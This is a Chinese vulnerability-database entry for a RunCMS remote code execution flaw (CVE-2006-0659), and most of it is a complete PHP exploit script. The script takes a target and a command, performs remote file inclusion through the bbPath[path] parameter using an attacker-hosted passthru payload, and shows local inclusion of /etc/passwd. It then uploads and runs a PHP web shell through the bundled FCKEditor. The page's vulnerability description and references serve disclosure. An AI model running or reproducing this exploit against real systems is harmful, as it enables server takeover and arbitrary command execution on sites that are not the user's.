RunCMS远程代码执行漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109719 漏洞类型 代码注入
发布时间 2006-02-09 更新时间 2007-05-10
CVE编号 CVE-2006-0659 CNNVD-ID CNNVD-200602-177
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/1485
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200602-177
|漏洞详情
RunCMS1.2及之前版本中存在多个PHP远程文件包含漏洞。在启用了register_globals和allow_url_fopen的情况下,远程攻击者可以借助(1)class.forumposts.php和(2)forumpollrenderer.php中的bbPath[path]参数执行任意代码。
|漏洞EXP
<?php
#   ---runcms_13a_xpl.php                                     17.30 09/02/2006 #
#                                                                              #
#                 RunCMS <= 1.2 arbitrary remote inclusion exploit             #
#                   "    <= 1.3a shell upload through FCKEditor                #
#                              coded by rgod                                   #
#                  site: http://retrogod.altervista.org                        #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "But when the army is restless and distrustful, trouble is sure to #
#  come from the other feudal  princes. This is simply  bringing anarchy  into #
#  the army, and flinging victory away."                                       #

/* a short explaination:

   i) on unpatched <=1.2 versions I tested:

   if register_globals = On & allow_url_fopen = On
   arbitrary remote inclusion in
   modules/newbb_plus/class/class.forumposts.php
   at line 15:

   ...
   include_once ($bbPath['path'].'/include/user_level.php');
   ...

   and in modules/newbb_plus/class/forumpollrenderer.php
   at line 14:

   ...
   include_once($bbPath['path']."language/".$xoopsConfig['language']."/main.php");
   ...

   poc:
   http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=http://somehost
   http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&xoopsConfig[language]=suntzu&bbPath[path]=http://somehost/

   where on [somehost] you have:

   <?php ob_clean();echo"HiMaster!";ini_set("max_execution_time",0);passthru($cmd);die;?>

   in http://[somehost]/include/user_level.php/index.html
   and in: http:/[somehost]/language/suntzu/main.php/index.html<br>

   it seems this vulnerabilties has been patched from 1.3 version
   and old packages <= 1.2 has been uptaded with new patches

   ii) on unpatched <=1.2:
   if allow_url_fopen = Off, but magic_quotes_gpc = Off, you can include a file
   from local resources:

   http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00
   http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00
   http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?bbPath[path]=../../../../../../../../etc/passwd%00
   http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=../../../../../../../../etc/passwd%00

   iii) on 1.3a version:

   also, integrated in runCMS we have an old version of FCKEditor
   (see this exploit link: http://retrogod.altervista.org/fckeditor_22_xpl.html)
   so you can upload files on target machine, .php3 files, .php5 and inc files
   call them directly (iii.a) and if not set as executable files on target machine,
   you can try local inclusion with versions <=1.2 (ii.b)

   poc:
   (iii.a) http://[target]/[path]/UserFiles/File/shell.php5?cmd=ls%20-la
   (ii.b) http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=[how far from runcms root?]../../../UserFiles/File/shell.inc%00
          http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&bbPath[path]=[how far from runcms root?]../../../UserFiles/File/shell.inc%00

                                                                              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title>********RunCMS <= 1.3a remote commands execution********
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
********RunCMS <= 1.3a remote commands execution*********</p><p class="Stile6">a
script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank">
http://retrogod.altervista.org</a></p><table width="84%">  <tr> <td width="43%">
<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input
type="text"  name="host"> <span class="Stile5">* hostname  (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/runcms/  or just / ) </span></p><p><input type="text" name="CMD">         <span
class="Stile5"> * specify a command     </span></p>    <p>    <input type="text"
name="LOCATION"><span class="Stile5">a remote location ( ex: http://www.somesite
.com, without traling slashes) , if you leave empty STEP 1-2 will be skipped...,
it works with versions <=1.2  </span></p><p><input type="text" name="port"><span
class="Stile5">specify  a  port other than  80 (default value)</span> </p>   <p>
<input  type="text" name="proxy"><span class="Stile5">send  exploit  through  an
HTTP proxy (ip:port)</span> </p> <p>          <input type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>  </td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
		}
      $ki=$ki+16;
      echo "</tr><tr>";
    }
    if (strlen($datai)==1) {
      echo "<td>0".htmlentities($datai)."</td>";
    }
    else {
      echo "<td>".htmlentities($datai)."</td> ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>&nbsp&nbsp</td>";
  }
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>".htmlentities($headeri[$li])."</td>";
  }
  echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid prozy...';
    die;
    }
  echo "OK.<br>";
  echo "Attempting to connect to ".$host." on port ".$port."...<br>";
  if ($proxy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result < 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
  }
  else {
    echo "OK.<br><br>";
    $html= '';
    socket_write($socket, $packet, strlen($packet));
    echo "Reading response:<br>";
    while ($out= socket_read($socket, 2048)) {$html.=$out;}
    echo nl2br(htmlentities($html));
    echo "Closing socket...";
    socket_close($socket);
  }
  }
}

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);echo nl2br(htmlentities($html));
}
function refresh()
{
  flush();
  ob_flush();
  usleep(100000);
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

  $host=$_POST[host];$path=$_POST[path];
  $port=$_POST[port];$LOCATION=$_POST[LOCATION];
  $CMD=$_POST[CMD];$proxy=$_POST[proxy];

  echo "<span class=\"Stile5\">";

  if (($host<>'') and ($path<>'') and ($CMD<>''))
  {
    $port=intval(trim($port));
    if ($port=='') {$port=80;}
    if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
    if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
    $host=str_replace("\n","",str_replace("\r","",$host));
    $path=str_replace("\n","",str_replace("\r","",$path));
    $CMD=urlencode($CMD);

    if ($LOCATION<>'')
    {
      # STEP 1 -> arbitrary remote inclusion in modules/newbb_plus/class/class.forumposts.php
      $packet="GET ".$p."modules/newbb_plus/class/class.forumposts.php?";
      $packet.="cmd=$CMD&bbPath[path]=$LOCATION HTTP/1.1\r\n";
      $packet.="Host: ".$host."\r\n";
      $packet.="Connection: Close\r\n\r\n";
      show($packet);
      sendpacketii($packet);
      if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}

      # STEP 2 -> arbitrary remote inclusion in modules/newbb_plus/class/forumpollrenderer.php
      $packet="GET ".$p."modules/newbb_plus/class/forumpollrenderer.php?";
      $packet.="cmd=$CMD&bbPath[path]=$LOCATION/&xoopsConfig[language]=suntzu HTTP/1.1\r\n";
      $packet.="Host: ".$host."\r\n";
      $packet.="Connection: Close\r\n\r\n";
      show($packet);
      sendpacketii($packet);
      if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
      //if you are here...
      echo "Arbitrary remote inclusion failed... trying STEP 3 -> Uploading a shell through FCKEditor<br>";
    }


    # STEP 3 -> Use FCKEditor to upload malicious code
    $SHELL ="<?php echo chr(72).\"iMaster!\";ini_set(\"max_execution_time\",0);error_reporting(0);";
    $SHELL.="phpinfo();passthru(\$HTTP_GET_VARS[cmd]);?>";
    //we try to guess allowed extensions...
    // you should succeed with .php3
    $extensions= array('.php', '.php3', '.php5', '.phtml','.pwml', '.php4', '.php2', '.inc');
    //add what you want
    //'FileUpload' for versions 2.11 - 2.1 - 2.0rc3 - 2.0rc2 - 2.0rc1 - 2.0fc
    //empty for 2.2
    $upload_command= array('FileUpload','');
    $path_to_shell="/UserFiles/File/"; //default one: if different, script will find it
    //calculate how far we are from site root
    $cc=explode("/",$path);
    $ccc=count($cc)-2;
    $back="";
    for ($xx=1; $xx<=$ccc; $xx++) { $back.="../";}
    for ($x=0; $x<=count($extensions)-1; $x++)
    {
    for ($y=0; $y<=1; $y++)
      {
      # STEP 3a -> Upload the shell
      srand(make_seed());
      $anumber = rand(1,9999);
      $filename="suntzu".$anumber.$extensions[$x];
      $data="-----------------------------7d529a1d23092a\r\n";
      $data.="Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
      $data.="Content-Type:\r\n\r\n";
      $data.="$SHELL\r\n";
      $data.="-----------------------------7d529a1d23092a--\r\n";
      $packet="POST ".$p."class/fckeditor/editor/filemanager/browser/default/connectors/php/";
      $packet.="connector.php?Command=".$upload_command[$y]."&Type=File&CurrentFolder= HTTP/1.1\r\n";
      $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
      $packet.="User-Agent: Sun-tzu giving you the pain\r\n";
      $packet.="Host: ".$host."\r\n";
      $packet.="Content-Length: ".strlen($data)."\r\n";
      $packet.="Connection: Close\r\n\r\n";
      $packet.=$data;
      show($packet);
      sendpacketii($packet);
      if (!eregi("200 OK",$html)) {die("Cannot find connector.php...<br>");}
      if (eregi("This connector is disabled",$html)) {echo "Exploit failed... -> php connector not enabled";die;}
      if (eregi("url=\"",$html))
      {
        $temp=explode("url=\"",$html);
        $temp2=explode("\"",$temp[1]);
        $path_to_shell=$temp2[0];
      }
      echo "<br>path where I search shell: ".htmlentities($path_to_shell)."<br>";
      # STEP 3b -> Launch commands...
      #by default a "UserFiles/File/" dir is generated inside site root when you upload
      #files, this dir is not protected by an .htaccess file or whatever
      $packet="GET ".$path_to_shell.$filename."?cmd=$CMD HTTP/1.1\r\n";
      $packet.="User-Agent: GoogleBot/1.1\r\n";
      $packet.="Host: ".$host."\r\n";
      $packet.="Connection: Close\r\n\r\n";
      show($packet);
      sendpacketii($packet);
      if (eregi("200 OK",$html)){
                                 if (eregi("HiMaster!",$html))
    			                 { echo "Exploit succeeded...<br>";
				                   echo "we have a shell in http://".$host.$path_to_shell.$filename."<br>";
                     			   echo "we should have phpinfo() here, see html...<br>";
			                       die;
                                 }
                                  else
                                  {
                                   echo "Successfully uploaded...<br>
			                       but is not an executable on target server...<br>
                                   let's try to include it...<br>
                                   ";
                                    # STEP 3c
                                    $packet="GET ".$p."modules/newbb_plus/class/class.forumposts.php?";
                                    $packet.="cmd=$CMD&bbPath[path]=".$back."../../..".$path_to_shell.$filename."%00 HTTP/1.1\r\n";
                                    $packet.="Host: ".$host."\r\n";
                                    $packet.="Connection: Close\r\n\r\n";
                                    show($packet);
                                    sendpacketii($packet);
                                    if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
                                    # STEP 3d
                                    $packet="GET ".$p."modules/newbb_plus/class/forumpollrenderer.php?";
                                    $packet.="cmd=$CMD&bbPath[path]=".$back."../../..".$path_to_shell.$filename."%00 HTTP/1.1\r\n";
                                    $packet.="Host: ".$host."\r\n";
                                    $packet.="Connection: Close\r\n\r\n";
                                    show($packet);
                                    sendpacketii($packet);
                                    if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
                                  }
                                }
      refresh();
    }
  }
  //if you are here
  echo "Exploit failed...";

  }
  else
{echo "Note: on remote location prepare this code in<br>
        http:/[remote_location]/include/user_level.php/index.html<br>
        and in:<br>
        http:/[remote_location]/language/suntzu/main.php/index.html<br>
        ";
 echo  nl2br(htmlentities("
        <?php
        ob_clean();echo\"HiMaster!\";ini_set(\"max_execution_time\",0);passthru(\$cmd);die;
        ?>
        "));
 echo    "<br>Fill * required fields, optionally specify a proxy...";}
 echo "</span>";
?>

# milw0rm.com [2006-02-09]
|参考资料

来源:BID
名称:16578
链接:http://www.securityfocus.com/bid/16578
来源:VUPEN
名称:ADV-2006-0503
链接:http://www.frsirt.com/english/advisories/2006/0503
来源:SECUNIA
名称:18800
链接:http://secunia.com/advisories/18800
来源:BUGTRAQ
名称:20060209runCMS<=1.3a2possibleremotecodeexecutionthroughtheintegratedFCKEditorpackage
链接:http://www.securityfocus.com/archive/1/424708
来源:MISC
链接:http://retrogod.altervista.org/runcms_13a_xpl.html